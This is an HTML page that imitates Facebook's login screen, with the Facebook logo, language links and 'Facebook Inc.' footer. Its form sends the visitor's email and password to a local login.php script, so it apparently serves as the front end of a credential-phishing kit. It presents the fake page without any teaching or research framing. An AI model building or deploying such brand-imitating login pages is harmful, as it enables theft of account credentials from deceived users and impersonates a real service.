<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<link ref="shortcut icon" href="Image/favicon.ico" type="image/x-icon"/>
<title>Log in to Facebook</title>
<style>
body {
width: 100vw;
height: 100vh;
background-color: white;
}
.logo {
display: flex;
width: auto;
height: 50px;
margin: 2em auto;
align-items: center;
margin-bottom: 2px;
}
.input-box {
text-align: center;
margin: auto;
}
.box {
position: relative;
border: 0.5px solid #f0f0f0;
box-shadow: 0.5px 0.5px #cfcfcf;
margin: 4px auto;
width: 22em;
padding: 14px;
border-radius: 4px;
background-color: #f5f5f5;
}
#box-1::placeholder {
color: gray;
}
#box-2::placeholder {
color: gray;
}
.login-btn {
width: 24em;
padding: 13px;
border: none;
border-radius: 4px;
color: white;
background-color: #0575e6;
font-weight: bold;
font-family: arial;
margin: 8px auto;
}
.login-btn span {
text-shadow: 0px -0.5px black;
}
.forgotten {
margin: 5px auto;
font-size: 13px;
}
.forgotten a {
text-decoration: none;
font-family: arial;
color: #0575e6;
}
.or {
width: 330px;
position: relative;
display: flex;
font-family: arial;
top: 10px;
margin: auto;
text-align: center;
align-items: center;
}
.newAccount {
border: none;
padding: 10px;
padding-right: 18px;
padding-left: 18px;
background-color: #259e03;
color: white;
font-weight: bold;
font-family: arial;
border-radius: 3px;
margin: 25px auto;
text-shadow: 0px -0.7px black;
}
.newAccount a {
color: white;
text-decoration: none;
}
.line-1 {
width: 9em;
border: 0.5px solid #858383;
border-bottom: none;
border-right: none;
border-left: none;
}
.line-2 {
width: 9em;
border: 0.5px solid #858383;
border-bottom: none;
border-right: none;
border-left: none;
}
.language {
position: relative;
width: 320px;
margin: auto;
font-family: arial;
font-size: 12px;
top: 7em;
}
.language a {
text-decoration: none;
color: #626089;
}
.left {
display: flex;
position: relative;
flex-direction: column;
width: 150px;
text-align: center;
margin:auto;
margin-left: 0px;
}
.right {
position: relative;
display: flex;
flex-direction: column;
width: 150px;
margin: -9px auto;
margin-right: 0px;
text-align: center;
bottom: 55px;
}
#en {
font-weight: bold;
color: #909090;
}
#more {
border: 1px solid #344d7f;
margin: auto;
padding: 4px;
font-weight: bold;
margin-top: 3px;
padding-top: 2px;
padding-bottom: 2px;
padding-right: 6px;
padding-left: 6px;
border-radius: 3px;
}
#facebookInc {
display: inline-block;
position: relative;
margin: auto;
top: 40px;
font-family: arial;
font-size: 12px;
color: gray;
}
</style>
</head>
<body>
<div>
<img class="logo" src="Image/image.png" alt="Facebook"/>
</div>
<form method="post" action="login.php">
<div class="input-box">
<div>
<input type="text" name="email" class="box" id="box-1" placeholder="Mobile number or email address"></input>
</div>
<div>
<input type="password" name="pass" class="box" id="box-2" placeholder="Password"></input>
</div>
<div>
<button type="submit" class="login-btn">Log In</button>
</div>
<div>
<p class="forgotten"><a href="#">Forgotten password?</a></p>
</div>
<div>
<span class="or"><hr class="line-1">or<hr class="line-2"></span>
</div>
<div>
<button type="button" class="newAccount"><a href="#">Create New Account</a></button>
</div>
<div class="language">
<div class="left">
<span id="en"><a href="#">English (UK)</a></span>
<span class="lang"><a href="#">অসমীয়া</a></span>
<span class="lang"><a href="#">नेपाली</a></span>
<span class="lang"><a href="#">Português (Brasil)</a></span>
</div>
<div class="right">
<span class="lang"><a href="#">বাংলা</a></span>
<span calss="lang"><a href="#">हिन्दी </a></span>
<span class="lang"><a href="#">Español</a></span>
<span id="more"><a href="#">+</a></span>
</div>
</div>
<div>
<p id="facebookInc">Facebook Inc.</p>
</div>
</form>
</body>
</html>